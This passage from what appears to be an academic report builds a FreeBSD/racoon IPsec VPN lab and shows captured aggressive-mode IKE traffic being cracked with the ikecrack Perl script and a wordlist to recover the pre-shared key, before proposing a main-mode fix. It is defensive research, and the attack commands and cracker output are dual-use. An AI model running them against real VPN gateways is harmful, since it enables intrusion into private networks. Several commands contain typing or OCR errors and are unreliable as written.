4. `cp GENERIC /root/kernel/MYKERNEL`
5. `ln -e /root/kernels/MYKERNEL`
6. Make sure you are in directory “/usr/src/sys/i386/conf”
7. `/usr/sbin/config MYKERNEL`
8. `cd ../../compile/MYKEREENEL`
9. Compile the kereneel
 - a. `make depend` // compute dependencies between modules
 - b. `make` // compile the kernel
10. Install the new kernel
 - a. `make install` // install the kernel

5.1.3 Rebuilding Kernel with IPsec Support

The following steps were used to rebuild the Kernel with IPsec support:

1. `cd /usr/src/sys/i386/conf`
2. `vi MYKERNEL`
3. Add the following lines to above file named “MYKERNEL”
 - a. `options IPSEC` // IP Security

- b. options IPSEC_ESP // IP Security with
ESP
- c. options IPSEC_DEBUG // debug for IP
Security
- d. device gif 4 // number of configure
tunnels

4. Compile the kernel

- a. /usr/sbin/config MYKERNEL
- b. cd ../../compile/MYKERNEL
- c. make depend // compute dependencies between
modules
- d. make // compile the kernel

5. Install the new kernel

- a. make install // install the kernel

6. Reboot the system with reboot

5.1.4 Installing Racoon (IKE) Daemon

Racoon is the IKE daemon which negotiates and configures a set of parameters of IPsec.

5.1.4.1 *Installing racoon daemon from ports*

- `cd /usr/ports/security/racoon`
- `make all install clean`

The above steps would extract the latest version of racoon from web and install racoon into `/usr/local/sbin`

5.1.4.2 *Copying configuration files*

- `cd /usr/local/etc/racoon`
- `cp psk.txt.dst psk.txt` // copy configuration file from template
- `cp racoon.conf.dist racoon.conf` // copy configuration file from template
- `chmod 600 psk.txt` // change the default permission

5.1.4.3 *Configuring racoon configuration file named “racoon.conf”*

This file contains IKE Phase 1 and Phase 2 proposals including the pre-shared keys reference corresponding to different remote gateways. It also contains the default proposals in the sections named “anonymous”.

For both Gateways, the following modifications were done to racoon configuration file “`/usr/local/etc/racoon/racoon.conf`”:

- Gateway 130.65.153.165
 - The lifetime for remote anonymous section was changed to 2 hours

The above change would result in the re-establishment of Phase 1 tunnels every 2 hours.

- The lifetime for sainfo anonymous section was kept at 30 seconds

The above change would result in the re-establishment of Phase 2 tunnels every 30 seconds.

- The authentication algorithm was changed to MD5
- Gateway 130.65.153.42
 - The lifetime for remote anonymous section was changed to 2 hours
 - The lifetime for sainfo anonymous section was kept at 30 seconds

A modified sample file named “racoon.conf” for both gateways is as depicted below.

Modified File Sample (racoon.conf) for Aggressive Mode Attack on Both Gateways

```
# $KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp $
# MEENAKSHI - Updated for Aggressive Mode Exchange Attack
# "path" must be placed before it should be used.
# You can overwrite which you defined, but it should not use due to
confusing.
path include "/usr/local/etc/racoon" ;
#include "remote.conf" ;

# search this file for pre_shared_key with various ID key.
path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;

# racoon will look for certificate file in the directory,
# if the certificate/certificate request payload is received.
path certificate "/usr/local/etc/cert" ;

# "log" specifies logging level. It is followed by either "notify", "debug"
# or "debug2".
log debug2;

# "padding" defines some parameter of padding. You should not touch
these.
padding
{
    maximum_length 20; # maximum padding length.
    randomize off;      # enable randomize length.
    strict_check off;   # enable strict check.
    exclusive_tail off; # extract last one octet.
}
# if no listen directive is specified, racoon will listen to all
# available interface addresses.
listen
{
    #isakmp ::1 [7000];
    #isakmp 202.249.11.124 [500];
    #admin [7002];          # administrative's port by kmpstat.
    #strict_address;        # required all addresses must be bound.
}
# Specification of default various timer.
```

```

timer
{
    # These value can be changed per remote node.
    counter 5;          # maximum trying count to send.
    interval 20 sec;    # maximum interval to resend.
    persend 1;          # the number of packets per a send.

    # timer for waiting to complete each phase.
    phase1 30 sec;
    phase2 15 sec;
}

remote anonymous
{
    #exchange_mode main,aggressive;
    exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;

    my_identifier address;
#   my_identifier user_fqdn "sakane@kame.net";
    peers_identifier user_fqdn "sakane@kame.net";
    #certificate_type x509 "mycert" "mypriv";

    nonce_size 16;
    lifetime time 2 hour; # sec,min,hour
    initial_contact on;
    support_mip6 on;
    proposal_check obey; # obey, strict or claim

    proposal {
        encryption_algorithm 3des;
        hash_algorithm md5;
        authentication_method pre_shared_key;
        dh_group 2 ;
    }
}

remote ::1 [8000]
{
    #exchange_mode main,aggressive;
    exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;
}

```

```

my_identifier user_fqdn "sakane@kame.net";
peers_identifier user_fqdn "sakane@kame.net";
#certificate_type x509 "mycert" "mypriv";

nonce_size 16;
lifetime time 1 min; # sec,min,hour

proposal {
    encryption_algorithm 3des;
    hash_algorithm sha1;
    authentication_method pre_shared_key;
    dh_group 2;
}
}
sainfo anonymous
{
    pfs_group 1;
    lifetime time 30 sec;
    encryption_algorithm 3des;
    authentication_algorithm hmac_sha1;
    compression_algorithm deflate;
}
sainfo address 203.178.141.209 any address 203.178.141.218 any
{
    pfs_group 1;
    lifetime time 30 sec;
    encryption_algorithm des;
    authentication_algorithm hmac_md5;
    compression_algorithm deflate;
}

sainfo address ::1 icmp6 address ::1 icmp6
{
    pfs_group 1;
    lifetime time 60 sec;
    encryption_algorithm 3des, cast128, blowfish 448, des;
    authentication_algorithm hmac_sha1, hmac_md5;
    compression_algorithm deflate;
}

```

5.1.4.4 *Configuring pre-shared secrets file named “psk.txt”*

This file consists of the pre-shared secrets shared by different remote gateways.

The following modifications were done to pre-shared secret file

“/usr/local/etc/racoon/psk.txt” for both Gateways:

- Gateway 130.65.153.165

- Add the following line:

- 130.65.153.42.1 meenakshi // indicates the pre-shared secret

- Gateway 130.65.153.42

- Add the following line:

- 130.65.153.165 meenakshi // indicates the pre-shared secret

A modified sample file named “psk.txt” for both gateways is as depicted below.

Modified File Sample (psk.txt) for gateway 130.65.153.165

IPv4/v6 addresses

**#MEENAKSHI_MODIFIED FOR AGGRESSIVE MODE
EXCHAHGE ATTACK**

130.65.153.42	meenakshi
10.160.94.3	mekmitasdigoat
172.16.1.133	mekmitasdigoat
194.100.55.1	whatcertificatereally
203.178.141.208	mekmitasdigoat
206.175.160.18	mekmitasdigoat
206.175.160.20	mekmitasdigoat
206.175.160.21	mekmitasdigoat
206.175.160.22	mekmitasdigoat
206.175.160.23	mekmitasdigoat
206.175.160.36	mekmitasdigoat
206.175.161.125	mekmitasdigoat
206.175.161.154	mekmitasdigoat
206.175.161.156	mekmitasdigoat
206.175.161.182	mekmitasdigoat
3ffe:501:410:ffff:200:86ff:fe05:80fa	mekmitasdigoat
3ffe:501:410:ffff:210:4bff:fea2:8baa	mekmitasdigoat
# USER_FQDN	
sakane@kame.net	mekmitasdigoat
# FQDN	
kame	hoge

Modified File Sample (psk.txt) for gateway 130.65.153.42

IPv4/v6 addresses

**#MEENAKSHI_MODIFIED FOR AGGRESSIVE MODE
EXCHAHGE ATTACK**

130.65.153.165	meenakshi
10.160.94.3	mekmitasdigoat
172.16.1.133	mekmitasdigoat
194.100.55.1	whatcertificatereally
203.178.141.208	mekmitasdigoat
206.175.160.18	mekmitasdigoat
206.175.160.20	mekmitasdigoat
206.175.160.21	mekmitasdigoat
206.175.160.22	mekmitasdigoat
206.175.160.23	mekmitasdigoat
206.175.160.36	mekmitasdigoat
206.175.161.125	mekmitasdigoat
206.175.161.154	mekmitasdigoat
206.175.161.156	mekmitasdigoat
206.175.161.182	mekmitasdigoat
3ffe:501:410:ffff:200:86ff:fe05:80fa	mekmitasdigoat
3ffe:501:410:ffff:210:4bff:fea2:8baa	mekmitasdigoat
# USER_FQDN	
sakane@kame.net	mekmitasdigoat
# FQDN	
kame	hoge

5.1.4.5 Starting Racoon (IKE) Daemon

Now that the configuration is complete the IKE process can be started with the following command:

```
/usr/local/sbin/racoon -f /usr/local/etc/racoon/racoon.conf -l /var/log/racoon.log
```

where, -f switch specifies the configuration file

-l switch specifies the log file to be used by the ike process for logging debug information

5.1.4.6 Setting Security Policy Database (SPD) for Racoon (IKE)

The reference setup configuration as illustrated in figure 17 is used to set up the security policies on VPN gateways and clients. The policies in this setup indicate that all traffic going from host 192.168.10.10 to 10.10.10.5 in both directions should be protected with the ESP tunnel between the gateways 130.65.153.165 and 130.65.153.42.

1) Add the following lines to the file “/etc/ipsec.conf” for the two VPN Gateways

130.65.153.165 and 130.65.153.42.

➤ Gateway 130.65.153.165

➤ flush; // delete all existing entries from SA database

➤ spdflush; // delete all existing entries from security policy
database

- `spdadd 192.168.10.10/32 10.10.10.5/32 any -P out ipsec`
`esp/tunnel/130.65.153.165-130.65.153.42/require; // adds the outbound`
`security policy to SPD`
 - `spdadd 10.10.10.5/32 192.168.10.10/32 any -P in ipsec`
`esp/tunnel/130.65.153.42-130.65.153.165/require; // adds the inbound`
`security policy to SPD`
 - Gateway 130.65.153.42
 - `flush; // delete all existing entries from SA database`
 - `spdf flush; // delete all existing entries from security policy`
`database`
 - `spdadd 10.10.10.5/32 192.168.10.10/32 any -P out ipsec`
`esp/tunnel/130.65.153.42-130.65.153.165/require; // adds the outbound`
`security policy to SPD`
 - `spdadd 192.168.10.10/32 10.10.10.5/32 any -P in ipsec`
`esp/tunnel/130.65.153.165-130.65.153.42/require; // adds the inbound`
`security policy to SPD`
- 2) Run the following command on both VPN Gateways 130.65.153.165 and 130.65.153.42
- `setkey -f /etc/ipsec.conf`

This command would read the security policy configuration from
“/etc/ipsec.conf” and load the policy into racoon process.

A modified sample file named “/etc/ipsec.conf” for gateway 130.65.153.42 is as depicted
below.

Modified File Sample (ipsec.conf) for Gateway 130.65.153.42

```
*****

# deletes all existing entries from SA database (SAD) and SP database (SPD)
flush;
spdflush;
# The following is the policy used with VPN Gateways
spdadd 10.10.10.5/32 192.168.10.10/32 any -P out ipsec
esp/tunnel/130.65.153.42-130.65.153.165/require;
    spdadd 192.168.10.10/32 10.10.10.5/32 any -P in ipsec
esp/tunnel/130.65.153.165-130.65.153.42/require;

# The following is the policy used with SSH Sentinel Remote VPN client
    spdadd 10.10.10.5/32 192.168.40.40/32 any -P out ipsec
esp/tunnel/130.65.153.42-130.65.153.103/require;
        spdadd 192.168.40.40/32 10.10.10.5/32 any -P in ipsec
esp/tunnel/130.65.153.103-130.65.153.42/require;

*****
```

5.2 Preparing Security Attack Utilities

Perl script is being used to generate dictionary attacks on the existing pre-shared implementations. Testing security attacks involved the following installations.

5.2.1 Installing Perl 5.8 on VPN Gateways

To run the IKE cracker script on gateways, perl installation on VPN Gateways included the following steps:

- `cd /usr/ports/lang/perl5.8`
- `cp HMAC-MD5.pm /usr/local/lib/perl5/site-perl/5.8/Digest`
- `cp MD5.pm /usr/local/lib/perl5/site-perl/5.8/Digest`
- `cp HMAC-SHA-1.pm /usr/local/lib/perl5/site-perl/5.8/Digest`
- `make` `// compile perl`
- `make test`
- `make install` `// install perl`
- `rehash`
- `use.perl port`
- `perl -version` `// verify the perl version installed`

5.2.2 Installing Active Perl 5.8 on Windows

To run the IKE cracker script on an independent Windows host, a freely available Active Perl 5.8.3 was downloaded and installed

5.2.3 Installing Ethereal Packet Analyzer on Windows

Freely downloadable Ethereal Packet Analyzer and WinPCap utilities were also installed on Windows host used as IKE cracker.

5.2.4 Installing IKE Cracker Utility

The IKE Cracker utility was installed from <http://ikecrack.sourceforge.net/> (IKECrack) on VPN Gateway and Windows host used as IKE cracker.

5.3 Preparing Hosts behind VPN Gateways

As depicted in the Setup Configuration in figure 17, the Host 192.168.10.10 was setup behind the VPN Gateway 130.65.153.165 and the Host 10.10.10.5 was setup behind the VPN Gateway 130.65.153.42

5.4 Preparing Remote VPN Client

Here the SSH Sentinel VPN Client was installed on the Windows Host with internal IP address as 192.168.40.40 and the remote Host 10.10.10.5 was setup behind the VPN Gateway 130.65.153.42

6. TESTING SECURITY ATTACKS

6.1 Attack on Pre-shared Secret with VPN Gateways

➤ Capturing the negotiations between Security Gateways

The negotiations were captured in the following two ways.

➤ Capture on Windows Attacker Host

- Run Ethereal Packet Analyzer on Windows Attacker host
- Run “windump -nxq -s 1500 port 500 > logfile.dat”

A sample screen shot is demonstrated in figure 19.

➤ Capture on VPN Gateway 130.65.153.42

- Run “tcpdump -i vr0 -nxq -s 1500 port 500 > logfile.dat”

The port 500 specifies the port number of the IKE protocol.

➤ Establishing the tunnel between two VPN Gateways as follows:

The traffic like ping or ftp is run on host 192.168.10.10 for the remote host 10.10.10.5 with the following steps:

➤ On Host 192.168.10.10 behind VPN Gateway 130.65.153.165 run the following

➤ ping 10.10.10.5

➤ An Aggressive mode exchange would take place and a tunnel would get created between the two VPN gateways 130.65.153.165 and 130.65.153.42.

➤ The ping traffic from the hosts was now seen to be encrypted through the tunnel between the Gateways as shown through the ethereal packet dump in figure 18.

The image shows a screenshot of the Wireshark (Ethereal) interface. The top pane displays a list of captured packets. The bottom pane shows the detailed view of a selected packet, which is an Internet Security Association and Key Management Protocol (ISAKMP) message. The packet list shows a sequence of ISAKMP messages (Aggressive, Aggressive, Aggressive, Informational, Quick Mode, Quick Mode, Quick Mode) followed by ESP (Encapsulating Security Payload) messages. The detailed view shows the ISAKMP message structure, including the Initiator cookie, Responder cookie, Next payload, Version, Exchange type, and Flags. The Security Association payload is expanded, showing the Next payload, Length, Domain of interpretation, Situation, and Proposal payload #1. The packet bytes pane at the bottom shows the raw data of the selected packet, with a hex dump and ASCII representation.

No.	Time	Find the previous matching packet	Destination	Protocol	Info
20	7.122765	130.65.153.165	130.65.153.42	ISAKMP	Aggressive
21	7.297391	130.65.153.42	130.65.153.165	ISAKMP	Aggressive
22	7.454397	130.65.153.165	130.65.153.42	ISAKMP	Aggressive
23	7.460788	130.65.153.165	130.65.153.42	ISAKMP	Informational
26	8.527005	130.65.153.165	130.65.153.42	ISAKMP	Quick Mode
27	8.583938	130.65.153.42	130.65.153.165	ISAKMP	Quick Mode
28	8.608504	130.65.153.165	130.65.153.42	ISAKMP	Quick Mode
30	9.031649	130.65.153.165	130.65.153.42	ESP	ESP (SPI=0x00026d4b)
31	9.032142	130.65.153.42	130.65.153.165	ESP	ESP (SPI=0x05633276)
35	10.041450	130.65.153.165	130.65.153.42	ESP	ESP (SPI=0x00026d4b)
36	10.041800	130.65.153.42	130.65.153.165	ESP	ESP (SPI=0x05633276)
37	11.051350	130.65.153.165	130.65.153.42	ESP	ESP (SPI=0x00026d4b)
38	11.051889	130.65.153.42	130.65.153.165	ESP	ESP (SPI=0x05633276)

Internet Security Association and Key Management Protocol
Initiator cookie: 0xA0AC61D28DA64E72
Responder cookie: 0x0000000000000000
Next payload: Security Association (1)
Version: 1.0
Exchange type: Aggressive (4)
Flags
Message ID: 0x00000000
Length: 244
Security Association payload
Next payload: Key Exchange (4)
Length: 52
Domain of interpretation: IPSEC (1)
Situation: IDENTITY (1)
Proposal payload # 1
Key Exchange payload
Nonce payload
Identification payload

0040 00 00 00 00 00 f4 34 00 00 34 00 00 00 01 00 004.....
0050 00 01 00 00 00 28 01 01 00 01 00 00 00 20 01 01(.....
0060 00 00 80 0b 00 01 80 0c 1c 20 80 01 00 65 80 09
0070 00 01 80 02 00 01 80 04 00 03 0a 00 00 84 86 c3YV.....2E..
0080 8f 2c da d8 5d 59 56 d2 dd e1 8e e4 32 45 f3
.....

Filter: ip.addr==130.65.153.42 || ip.addr==130.65.153.165

Figure 18: Ethereal Dump of Tunnel Establishment and Encapsulation


```
EX C:\WINDOWS\System32\cmd.exe
0 packets dropped by kernel
C:\Meenakshi>windump -nxq -s 1500 port 500 > logfile.dat
windump: listening on \Device\Packet_{6E999CB3-4122-4453-8BC7-891E5
153 packets received by filter
0 packets dropped by kernel
C:\Meenakshi>
C:\Meenakshi>
C:\Meenakshi>
C:\Meenakshi>
C:\Meenakshi>
C:\Meenakshi>
```

Figure 19: Windump Capture for Tunnel Establishment

➤ **Running the Attack**

- On VPN Gateway 130.65.153.42 and the Windows Attacker Host the negotiations were directed to a log file named “logfile.dat” as the result of running the tcpdump or windump command as explained above.

The captured log file named “logfile.dat” file created in this test is as depicted below.

Created Log file with tcpdump for Aggressive Mode Exchange (logfile.dat)

18:58:22.935333 130.65.153.165.500 > 130.65.153.42.500: udp 244

4500 0110 a57a 0000 4011 9d10 8241 99a5
8241 992a 01f4 01f4 00fc adbc 3e38 1766
f970 7d9a 0000 0000 0000 0000 0110 0400
0000 0000 0000 00f4 0400 0034 0000 0001
0000 0001 0000 0028 0101 0001 0000 0020
0101 0000 800b 0001 800c 1c20 8001 0005
8003 0001 8002 0001 8004 0002 0a00 0084
c96c 5e66 d408 52ed eb4a 72c0 036a 5152
5744 4e45 f8ea 4ca9 4443 cbff 30a8 603d
7650 7b00 8bda 9cc9 df12 835a eae9 3f42
a811 455c 254f 1199 1c23 48fb ec8c c21f
1c1fb5c3 1c9a 8e6e be43 a431 cb50 c877
1978 b4c8 7170 8f02 e1d5 bb95 538a 3154
a463 2035 22b6 d396 b31c da00 f549 98f7
d9c2 5bd5 7e06 2566 8f5d 7c86 be6f 4994
0500 0014 be75 da02 f119 55ee 9bf7 4787
ef55 aabb 0000 000c 0111 01f4 8241 99a5

18:58:23.144110 130.65.153.42.500 > 130.65.153.165.500: udp 284

4500 0138 9bfd 0000 4011 a665 8241 992a
8241 99a5 01f4 01f4 0124 2f3d 3e38 1766
f970 7d9a 6f04 4fb4 2d34 0a74 0110 0400
0000 0000 0000 011c 0400 0034 0000 0001
0000 0001 0000 0028 0101 0001 0000 0020
0101 0000 800b 0001 800c 1c20 8001 0005
8003 0001 8002 0001 8004 0002 0a00 0084
4c33 12e6 eb84 2137 fe66 3d2d 3b1f a504
257e 6485 b0a9 7826 7732 46bb 0283 af34
77ce d09d 7d66 cc34 0f43 e1ac 8589 ed3a
1b46 309b c220 6d6b 807a c2b7 f337 f093
cfb8 61ff db25 a172 dae9 3783 5c88 4c8f
7a03 d3d7 ba49 13f3 a37c fdd0 8365 0d47
b6b0 ec33 568b 8f9e 752d ceb6 baf4 5b43
b0c4 bb5d bbe7 64f7 1ca5 c21d b23f 3bb2
0500 0014 da89 6e27 0b7d 6d53 6370 c866
6d1b 69ca 0800 000c 0111 01f4 8241 992a

```

0d00 0014 f1e6 f8cc be2a 95ea bc56 e0ff
95fd 035d 0000 0014 7003 cbc1 097d be9c
2600 ba69 83bc 8b35
18:58:23.326165 130.65.153.165.500 > 130.65.153.42.500: udp 48
4500 004c a57b 0000 4011 9dd3 8241 99a5
8241 992a 01f4 01f4 0038 8f56 3e38 1766
f970 7d9a 6f04 4fb4 2d34 0a74 0810 0400
0000 0000 0000 0030 0000 0014 d18f a029
890e 2632 3302 fd0e 8091 93f1
18:58:24.390101 130.65.153.165.500 > 130.65.153.42.500: udp 252
4500 0118 a57f 0000 4011 9d03 8241 99a5
8241 992a 01f4 01f4 0104 a3ba 3e38 1766
f970 7d9a 6f04 4fb4 2d34 0a74 0810 2001
7c0f 11e2 0000 00fc 0c3f 70f3 9906 50d0
253f 84bc 25b4 da90 ef74 78ec dbd7 b88d
f0ea 4f1f 9767 532d b12c c1c3 e1ef 50a4
1d2d 1c0d f708 d0fe 073c 48f5 1d68 9eb0
e652 ae95 622c 2322 3f99 97e2 e24a e868
2c45 6a64 ed4d 2127 63d0 6c21 a3e5 6d18
78cc 53c2 55b9 4668 d456 7ae7 5a39 db70
912b abf0 3d58 9ba6 4135 bfla a967 fd82
1a5a 1c1a 7036 3a38 7e76 3229 d305 af0e
96e3 9402 0e62 c9a8 3672 9fb9 5301 fac2
180d ee8d dfa6 dc76 a286 3be1 e004 ea50
1ad9 71a1 d836 af47 7862 2774 4d60 222b
0124 dfdf ddb2 ea54 5522 1a92 b4b7 b33b
1122 f02e d0ae 5f43 8bca 8cce 3bba 7ee7
587c 6f11 c068 f550

```

- **Run the IKECracker** script named “ikecrack-snarf-1.00.pl” on cracker

Windows host or cracker VPN Gateway as follows:

- Make sure to update the wordlist file named “wordlist” used by the IKE Cracker with some password strings
- Run the command “perl ikecrack-snarf-1.00.pl 130.65.153.165.500”
- The above script would search the wordlist and **break the tunnel keys** for the negotiation that just took place. It displays the pre-shared secret that was configured at two VPN gateways

A modified sample wordlist file “wordlist” used and the attack result is as depicted below.

Wordlist File (wordlist)

this is my secret
mysecret
password
bc
abcd
efgh
ijkl
meenakshi
minks
Hello
Pass
Success
keepitsafe
dontbreak
breakit
.....
.....

Results of IKE Cracker on Windows Host for Pre-shared Secret Break

```

C:\WINDOWS\System32\cmd.exe
C:\Meenakshi>
C:\Meenakshi>perl ikecrack-snarf-1.00.pl 130.65.153.165.500
Looking for Initiator : 130.65.153.165.500
Header IPs 130.65.153.165.500 130.65.153.42.500:
Matching Header 130.65.153.165.500 130.65.153.42.500
Init
tcookie_i : 56c1ed244da56d5e
tcookie_r : 0000000000000000
xchg type: 04
Aggressive Mode - Continue
SA_i : 000000010000000100000028010100010000002001010000800b0001800c1c20800100
05800300018002000180040002
KE_i : 70e74b211ab80d73a12a8b137665e846ea8ad25aa0508c7becf6d2a7ae84c7f71ecaf1
094d5c5c33e67629ccdb5a3a5fdee28db0e73441929de5233bfa162a327ec8de33c68d28e3f26ede
9c6434362f1be81c206a26cbc748365350d2b95985f848af360350496994a18544ba2a9dfc4a54a6
17915d6f8b24c7465699c02002
nonce_i : a7b2634ac716a374285e4d02aac08127
ID_i : 011101f4824199a5

Header IPs 130.65.153.42.500 130.65.153.165.500:
Reply Header? 130.65.153.42.500 130.65.153.165.500
Resp
tcookie_i : 56c1ed244da56d5e
tcookie_r : 92174294d9256b89
xchg type: 04
Aggressive Mode - Continue
SA_r : 000000010000000100000028010100010000002001010000800b0001800c1c20800100
05800300018002000180040002
KE_r : 2ed9b22eb3317ff67649f316d617ddf3ff0e7845017a0bb2eca8169dbe8717680c437e8
84b75f9849230e475285986fc6b1b973c40cac902cd99ac2d946611b8d8f29a104f56c490d3dd21f
6a80fd1d5ffcb7a2b5deec835113ce75471a0b9c45853cf154190b6afbcf6618d928a0208957372d
a2428dec9c39de0210add05c7a
nonce_r : a36e3ad6a0cbfc6a2288fa7021158d75
ID_r : 011101f48241992a
HASH_r : c6d71d510be93581ac35c7d6d77149e5

Header IPs 130.65.153.165.500 130.65.153.42.500:
Header IPs 130.65.153.165.500 130.65.153.42.500:
Header IPs 130.65.153.165.500 130.65.153.42.500:
Header IPs 130.65.153.42.500 130.65.153.165.500:
Header IPs 130.65.153.165.500 130.65.153.42.500:

Initiator_ID - Type is IPv4: 130.65.153.165
Responder_ID - Type is IPv4: 130.65.153.42
Responder Sent MD5 HASH_R : c6d71d510be93581ac35c7d6d77149e5

Starting Grinder.....

Reading Dictionary File
Starting Dictionary Attack:
match with meenakshi
Calc MD5 HASH_R : c6d71d510be93581ac35c7d6d77149e5
Calc SKEYID : b634633689e7cd869b683627eec700dc

C:\Meenakshi>

```

Results of IKE Cracker Running on VPN Gateway for Pre-shared Secret Break

Looking for Initiator : 130.65.153.165.500

Header IPs 130.65.153.165.500 130.65.153.42.500:

Matching Header 130.65.153.165.500 130.65.153.42.500

Init

tcookie_i : 3e381766f9707d9a

tcookie_r : 0000000000000000

xchg type: 04

Aggressive Mode - Continue

SA_i :

000000010000000100000028010100010000002001010000800b00
01800c1c2080010005800300018002000180040002

KE_i :

c96c5e66d40852edeb4a72c0036a515257444e45f8ea4ca94443cbff
30a8603d76507b008bda9cc9df12835aeae93f42a811455c254f1199
1c2348fbec8cc21f1c1fb5c31c9a8e6ebe43a431cb50c8771978b4c8
71708f02e1d5bb95538a3154a463203522b6d396b31cda00f54998f
7d9c25bd57e0625668f5d7c86be6f4994

nonce_i : be75da02f11955ee9bf74787ef55aabb

ID_i : 011101f4824199a5

Header IPs 130.65.153.42.500 130.65.153.165.500:

Reply Header? 130.65.153.42.500 130.65.153.165.500

Resp

tcookie_i : 3e381766f9707d9a

tcookie_r : 6f044fb42d340a74

xchg type: 04

Aggressive Mode - Continue

SA_r :

000000010000000100000028010100010000002001010000800b00
01800c1c2080010005800300018002000180040002

KE_r :
4c3312e6eb842137fe663d2d3b1fa504257e6485b0a97826773246b
b0283af3477ced09d7d66cc340f43e1ac8589ed3a1b46309bc2206d6
b807ac2b7f337f093cfb861ffdb25a172dae937835c884c8f7a03d3d7
ba4913f3a37cfdd083650d47b6b0ec33568b8f9e752dceb6baf45b43
b0c4bb5dbbe764f71ca5c21db23f3bb2
nonce_r : da896e270b7d6d536370c8666d1b69ca
ID_r : 011101f48241992a
HASH_r : fle6f8ccbe2a95eabc56e0ff95fd035d

Header IPs 130.65.153.165.500 130.65.153.42.500:
Header IPs 130.65.153.165.500 130.65.153.42.500:

Initiator_ID - Type is IPv4: 130.65.153.165
Responder_ID - Type is IPv4: 130.65.153.42
Responder Sent MD5 HASH_R :
fle6f8ccbe2a95eabc56e0ff95fd035d

Starting Grinder.....

Reading Dictionary File
Starting Dictionary Attack:
match with **meenakshi**
Calc MD5 HASH_R : fle6f8ccbe2a95eabc56e0ff95fd035d
Calc SKEYID : 022699a975b53a71b6f2df641e2260c1

As seen above, the pre-shared secret “meenakshi” configured at two VPN gateways has been cracked successfully by a tool running independently.

How did this Attack Work?

Through IKE Crack tool the Hash sent in clear text in the 2nd message exchange of the Aggressive mode is used to attack the pre-shared secret. This is done by capturing the clear text Hash exchanged in Message 2 of the aggressive mode exchange with pre-shared secrets. Then it attempts a bruteforce of the pre-shared key. The Hash exchanged in Message 2 of the Aggressive mode is derived as follows

$$\text{HASH_R} = \text{Hash}(\text{SKEYID}, g^{xr} | g^{xi} | \text{CKY-R} | \text{CKY-I} | \text{SA} | \text{IDir_b})$$

where, SA is the SA payload,

g^{xi} and g^{xr} are the DH public values of the initiator and responder respectively exchanged in key exchange payload,

CKY_I and CKY_R are the initiators and responders cookies respectively.

As seen above, all the information except the pre-shared secrets used to derive HASH_R is exchanged in clear text and clearly available to an attacker. As a result all an attacker needs to break the system is simply guess the correct pre-shared secret.

However, our implementation uses the modified main mode with pre-shared secrets.

Hence for remote and mobile users this attack will not be possible since the Hashes exchanged will always be encrypted. So there will not be any Hash available for the crackers to verify against.

6.2 Attack on Pre-shared Secret with a VPN Client connecting to a VPN Gateway

- **Capturing the negotiations** between SSH Sentinel VPN Client and the remote security Gateway 130.65.153.42. It involved the similar steps as explained in sub section 6.1. The negotiations were captured in the following two ways.

- Capture on Windows Attacker Host

- Run Ethereal Packet Analyzer on Windows Attacker host
- Run “windump -nxq -s 1500 port 500 > logfile.dat”

- Capture on VPN Gateway 130.65.153.42

- Run “tcpdump -i vr0 -nxq -s 1500 port 500 > logfile.dat”

The port 500 specifies the port number of the IKE protocol.

- **Establishing the tunnel** between the Mobile client and VPN Gateway as follows

The traffic like ping or ftp is run on VPN client host for the remote host

10.10.10.5 with the following steps:

- Configure the SSH Sentinel VPN with all IKE and IPSec properties similar to VPN Gateway with the help of SSH Sentinel user guide (Installing and Configuring SSH Sentinel Client).
- Configure the pre-shared secret as “meenakshi”
- On VPN Client Host run the following
 - ping 10.10.10.5

- An Aggressive mode exchange would take place and a tunnel will get created between the VPN client and the VPN 130.65.153.42. Also, the host would be assigned an internal IP address 192.168.40.40 to its virtual adapter
- The ping or ftp traffic from the VPN Client would now be encrypted through the tunnel between it and the VPN Gateway
- **Running the Attack**
 - On VPN Gateway 130.65.153.42 and Windows Attacker Host the negotiations would be directed to a log file named “logfile.dat” as the result of running the tcpdump command as explained above
 - Run the IKECracker script as follows:
 - Make sure to update the wordlist file used by the IKE Cracker with some password strings
 - Run the command, say, “perl ikecrack-snarf-1.00.pl 130.65.153.103.500”
 - The above script would search the wordlist and **break the tunnel keys** for the negotiation that just took place. It would display the pre-shared secret that was configured at two VPN endpoints.

7. PROPOSED IMPLEMENTATION DETAILS

7.1 Overview

The proposed solution proposes the usage of main mode exchange instead of aggressive mode for pre-shared key based implementations. The changes done to the code for the proposed solution are compiled by the following steps:

- `cd /usr/ports/security/racoon/work/racoon-20021120a/racoon`

This would change the current directory to the sources of the racoon code

- Make the necessary changes in the code as per the state machine explained in figures 20, 21 and 22
- Compile and install the latest code through:
 - `make`
 - `make install`
- Verify that the racoon configuration file `“/usr/local/etc/racoon/racoon.conf”` has the main mode as an exchange mode defined in section `“remote anonymous”`
- For the initiator, verify the Key Id file named `“keyid.txt”` in the path `“/usr/local/etc/racoon”`
- Add the pre-shared secret corresponding to the above key id in file `“psk.txt”` in the path `“/usr/local/etc/racoon”`
- check the racoon syntax:

- usage: racoon [-BdFv46] [-f (file)] [-l (file)] [-p (port)]
 - -B: install SA to the kernel from the file specified by the configuration file.
 - -d: debug level, more -d will generate more debug message.
 - -F: run in foreground, do not become daemon.
 - -v: be more verbose
 - -4: IPv4 mode.
 - -6: IPv6 mode.
 - -f: pathname for configuration file.
 - -l: pathname for log file.
 - -p: port number for isakmp (default: 500).
- run racoon with the following syntax:
- /usr/local/sbin/racoon -f /usr/local/etc/racoon/racoon.conf -l /var/log/racoonAfterChanges1.log
- where, -f flag specifies the path for configuration file,
- l flag specifies the path for the log file
- check the racoon process by typing:
- ps -x
- Establish the tunnel by running ping from host 192.168.10.10 to 10.10.10.5

- The ping or ftp traffic should now be encrypted through the tunnel between the VPN Gateways 130.65.153.165 and 130.65.153.42

7.2 Modified State Machine Details

Figure 20: Proposed State Machine for 3rd Message Exchange from Initiator

Figure 21: Proposed State Machine for 5th Message Exchange from Initiator

Figure 22: Responder State Machine for the Proposed Approach

7.3 Modified Code Details

The code changes have been done to implement the proposed exchange through the following steps:

7.3.1 Initiator Changes

- The second message from Initiator has been modified from HDR, KE, Ni to HDR, KE, ID with type as IPSECDOI_ID_KEY_ID, Ni. As seen a new identity

of type KEY ID has been defined in this message that will take the group or user information of the remote/mobile user trying to connect.

- The new field in Phase 1 data structure has been set in the second message preparation through new API.
- A Key Id file “/usr/local/etc/racoon/keyid.txt” with its reference in racoon configuration file “racoon.conf” has been defined
